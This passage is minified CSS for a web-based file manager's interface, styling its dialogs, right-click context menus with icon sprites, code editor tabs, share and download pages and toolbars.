0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.frame-main{top:40px;overflow:auto;bottom:40px;width:100%;position:absolute;}.bindary_box{width:300px;margin:0 auto;padding-bottom:40px;border:1px solid #ddd;border:1px solid rgba(0,0,0,0.2);background:#fff;box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5%;border-radius:4px;}.bindary_box .title{width:100%;height:150px;padding-top:20px;border-radius:5px 4px 0 0;background:#6699cc url("../../../images/common/login.png") -110px 0px;}.bindary_box .ico{width:140px;height:140px;border-radius:100px;overflow:hidden;margin:0 auto;background:rgba(255,255,255,0.4);text-align:center;}.bindary_box .ico img{width:80%;padding-top:15px;}.content_info{text-align:center;}.content_info .name{padding:30px;padding-bottom:2px;font-size:22px;word-wrap:break-word;word-break:break-all;}.content_info .size{color:#888;}.content_info .size i{font-style:normal;color:#aaa;padding-left:10px;}.content_info .btn-group{margin-top:25px;}.content_info .btn_download{width:115px;}.content_info .dropdown-toggle{height:20px;}.content_info .error_tips{padding-top:15px;color:#bbb;}.title_box{height:36px;width:800px;border-bottom:1px solid #ddd;margin:0 auto;margin-top:10px;}.title_box .name{font-size:20px;float:left;}.title_box .size{float:left;line-height:30px;padding-left:10px;}.title_box .size .share_time{padding-left:10px;font-style:normal;color:#aaa;}.title_box .btn-group{float:right;}.title_box .btn-group .btn_download{padding:4px 20px;}.title_box .btn-group .dropdown-toggle{height:16px;height:30px \9;}.content_box,.content_box.markdown_preview{width:900px;margin:30px auto;margin-bottom:30px;}.show_image{text-align:center;}.show_image img{max-width:100%;}#show_pdf{width:100%;margin:0px;background:#ccc;position:absolute;top:0px;bottom:0px;}.show_code{border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,0.2);width:80%;position:absolute;bottom:0px;left:10%;top:0px;}.show_code .code{padding:0px;margin:0;height:100%;}.show_code .ace_editor{font-size:1em;font-family:Consolas, source-code-pro, Monaco, Menlo, 'Ubuntu Mono', Consolas, monospace, '';}.office_page{bottom:-18px;}.show_office{margin:0;width:100%;height:100%;}.show_swf{width:80%;margin:0 auto;padding-top:30px;height:90%;}.music_player{width:320px;height:400px;box-shadow:0 10px 100px #444;margin-top:12%;}.movie_player{width:660px;height:400px;box-shadow:0 10px 100px #444;margin-top:10%;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.edit_main{color:#444;font-size:1em;width:100%;}.edit_main .edit_tab .tabs .edit_changed a.close{opacity:1.0;filter:alpha(opacity=100);color:#63acff;}.edit_main .edit_tab .tabs .edit_changed .icon-remove:before{content:"\f06a";}.edit_main .edit_tab .tabs .edit_changed a:hover.icon-remove:before{content:"\f057";}.context-menu-list{z-index:1000 !important;box-shadow:0 0px 10px rgba(0,0,0,0.15);border:1px solid #dfdfdf;border-radius:2px;max-height:500px;-webkit-animation-name:inherit;-webkit-animation-duration:inherit;-webkit-animation-timing-function:inherit;-webkit-animation-iteration-count:inherit;}.context-menu-list.code_font_list,.context-menu-list.code_theme_list{overflow-y:auto;overflow-x:hidden;}.context-menu-list.code_font_list .context-menu-item,.context-menu-list.code_theme_list .context-menu-item{padding:0px 10px 0 10px;}.context-menu-list.code_theme_list{width:180px !important;}.context-menu-list .gotoline_input input{padding:4px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;margin-left:15px;}.context-menu-list .gotoline_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list{position:absolute;z-index:99;top:initial;right:300px;bottom:30px;overflow:auto;display:block;width:180px;height:250px;padding:35px 0 10px 0;}.code_mode_list li{padding:2px 2em;font-size:13px;cursor:pointer;line-height:20px;}.code_mode_list li.list_input{position:fixed;background:#eee;-webkit-transform:translateZ(0);height:30px;width:160px;bottom:292px;padding:4px 0 0 20px;}.code_mode_list li.list_input input{width:110px;padding:4px 10px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.code_mode_list li.list_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list li.hover{background:#eee;background:#63acff;color:#fff;}.code_mode_list li.selected,.code_mode_list li.selected.hover{background:#63acff;color:#fff;}.edit_tab .tabs{height:29px;width:100%;background:#fff;overflow:hidden;border-bottom:1px solid #ddd;}.edit_tab .tabs .tab{position:relative;height:30px;line-height:30px;color:#666;width:120px;float:left;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;border-right:1px solid #ddd;}.edit_tab .tabs .tab .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.edit_tab .tabs .tab .name img{height:17px;padding-bottom:4px;padding-right:3px;}.edit_tab .tabs .tab .close{float:right;color:#aaa;position:relative;opacity:0.1;filter:alpha(opacity=10);font-size:1.25em;margin-right:3px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:18px;}.edit_tab .tabs .tab .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab .close:active{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .tab.hover{background:url("../../../images/common/buttons_40.png") 0 10px repeat-x;}.edit_tab .tabs .tab.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.this{z-index:20;color:#23B2EC;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#96c7ff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#96c7ff,#63acff);background-image:-moz-linear-gradient(top,#96c7ff,#63acff);background-image:-o-linear-gradient(top,#96c7ff,#63acff);background-image:-ms-linear-gradient(top,#96c7ff,#63acff);background-image:linear-gradient(top,#96c7ff,#63acff);-pie-background:linear-gradient(to top,#96c7ff,#63acff);color:#fff;}.edit_tab .tabs .tab.this .close{opacity:0.1;filter:alpha(opacity=10);color:#eee;}.edit_tab .tabs .tab.this .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab.this .close:active{opacity:1.0;filter:alpha(opacity=100);color:#fff;}.edit_tab .tabs .tab.this.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.loading .close{opacity:1.0;filter:alpha(opacity=100);color:#666;border-radius:20px;-webkit-animation:moveCircleLoop 1.4s infinite linear;animation:moveCircleLoop 1.4s infinite linear;}.edit_tab .tabs .tab.loading .close:before{content:"\f110";}.edit_tab .tabs .tab.loading.this .close{color:#ffffff;}.edit_tab .tabs .tab.loading.hover .close{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .add{float:left;color:#666;line-height:25px;height:30px;border:1px solid #ddd;border-bottom:none;border-radius:3px 3px 0 0;font-size:8px;margin-top:2px;padding:0px 10px;background:#eee;margin-left:3px;}.edit_tab .tabs .add:hover{background:#ddd;}.edit_tab .tabs .add:active{background:#888;color:#ccc;}.draggable-dragging{position:absolute;z-index:99999;color:#fff;height:30px;line-height:30px;opacity:0.6;filter:alpha(opacity=60);width:120px;float:left;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#82bcff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#82bcff,#63acff);background-image:-moz-linear-gradient(top,#82bcff,#63acff);background-image:-o-linear-gradient(top,#82bcff,#63acff);background-image:-ms-linear-gradient(top,#82bcff,#63acff);background-image:linear-gradient(top,#82bcff,#63acff);-pie-background:linear-gradient(to top,#82bcff,#63acff);}.draggable-dragging .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.draggable-dragging .name img{height:17px;padding-bottom:4px;padding-right:3px;}.draggable-dragging .close{float:right;color:#3091ff;position:relative;font-size:1.15em;margin-right:5px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:17px;}.edit_body{width:100%;background:#fff;position:absolute;bottom:0;top:59px;z-index:50;}.edit_body .tabs{width:100%;height:100%;position:absolute;top:0px;bottom:0;}.edit_body .tabs .edit_content{display:none;padding:0;margin:0;height:100%;width:100%;}.edit_body .tabs .edit_content.this{display:block;padding:0;}.edit_body .tabs .tab{padding:10px;display:none;}.edit_body .bottom_toolbar{width:auto;height:25px;z-index:25;position:absolute;bottom:5px;right:0;margin-right:20px;border-radius:4px;background:#fff;opacity:0.8;filter:alpha(opacity=80);border:1px solid #f3f3f3;}.edit_body .bottom_toolbar a{float:left;padding:0 10px;line-height:25px;text-decoration:none;color:#000;}.edit_body .bottom_toolbar a:hover{color:#63acff;}.edit_body .bottom_toolbar a.select{background:#63acff;color:#fff;border-radius:1px;}.edit_body .bottom_toolbar a .font-icon{color:#333;}.introduction{font-size:1em;position:fixed;width:100%;top:64px;left:0;bottom:0;overflow:auto;background:#FFF;}.introduction .intro_left{width:40%;float:left;}.introduction .tips{padding:5px;margin-bottom:0;color:#888;}.introduction .tips p{padding-left:2em;word-break:break-all;line-height:1.2em;}.introduction .tips p:before{content:"\f006";font-family:FontAwesome;padding-right:8px;}.introduction .tips h1{font-size:25px;font-weight:400;border-bottom:1px dashed #ddd;padding:4px 0 10px 5px;margin:5px 0 10px 10px;}.introduction .tips h1 span{border-bottom:3px solid #ddd;padding:8px;color:#666;}.introduction pre{margin-left:15px;padding:5px;color:#56A238;line-height:1.5em;background:#fff;border-bottom:1px solid #eee;}.introduction .intro_right{width:60%;float:left;}.introduction .blue{color:#8BB7D5;}.introduction .blue h1 span{border-color:#8BB7D5;color:#8BB7D5;}.introduction .orange{color:#F27642;}.introduction .orange h1 span{color:#F27642;border-color:#F27642;}.introduction .green{color:#56A238;border-left:1px solid #ddd;}.introduction .green h1 span{color:#56A238;border-color:#56A238;}div.tools{height:28px;z-index:999;border-bottom:1px solid #ddd;overflow:hidden;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;min-width:560px;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}div.tools .disable_mask{width:100%;height:33px;margin-left:-10px;background:#fff;position:absolute;opacity:0.4;filter:alpha(opacity=40);z-index:10;margin-top:-4px;}div.tools .left{float:left;margin:0 0 0 5px;}div.tools .right{float:right;margin:0 5px 0 0;}div.tools a{font-size:1.25em;font-weight:800;float:left;color:#555;font-weight:400;text-decoration:none;padding:0px 9px;line-height:29px;height:29px;}div.tools a .font-icon{font-size:14px;color:#888;}div.tools a .icon-caret-down{padding-left:5px;font-size:1em;color:ccc;}div.tools a:hover{background:#eee;}div.tools a.select,div.tools a.select:hover,div.tools a:active{background:#63acff;color:#fff;}div.tools a.select i.font-icon,div.tools 